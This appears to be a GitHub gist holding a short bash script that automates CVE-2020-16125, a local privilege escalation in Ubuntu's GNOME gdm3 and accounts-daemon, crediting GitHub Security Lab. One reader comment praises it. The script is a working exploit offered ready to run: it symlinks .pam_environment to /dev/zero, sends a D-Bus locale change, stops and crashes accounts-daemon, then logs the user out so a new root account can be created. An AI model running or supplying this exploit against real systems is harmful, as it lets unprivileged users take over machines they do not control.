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Quick script to automate CVE-2020-16125 Gnome gdm3 privilege escalation. Credit for discovery to Kevin Backhouse and GitHub Security Lab. Original writeup: https://securitylab.github.com/research/Ubuntu-gdm3-accountsservice-LPE
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| #!/bin/bash | |
| # Credit to Kevin Backhouse and GitHub Security Lab, I just scripted this... | |
| # Original writeup: https://securitylab.github.com/research/Ubuntu-gdm3-accountsservice-LPE | |
| # CVE-2020-16125 | |
| echo "[+] Creating symlink" | |
| ln -s /dev/zero .pam_environment; | |
| echo "[+] Changing region" | |
| (dbus-send --print-reply --system --dest=org.freedesktop.Accounts /org/freedesktop/Accounts/User$UID org.freedesktop.Accounts.User.SetFormatsLocale string:'en_GB.UTF-8')& | |
| echo "[+] Removing symlink" | |
| rm .pam_environment | |
| ACCOUNTS_DAEMON_PID=`pidof accounts-daemon` | |
| echo "[+] Killing accounts-daemon PID: $ACCOUNTS_DAEMON_PID" | |
| kill -SIGSTOP $ACCOUNTS_DAEMON_PID | |
| (nohup bash -c "sleep 3s; kill -SIGSEGV $ACCOUNTS_DAEMON_PID; kill -SIGCONT $ACCOUNTS_DAEMON_PID")& | |
| echo "[+] Logging out so you can become root" | |
| sleep 1 | |
| gnome-session-quit --logout --no-prompt |
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Why don't you submit this to exploit-db, it's a pretty good script 👍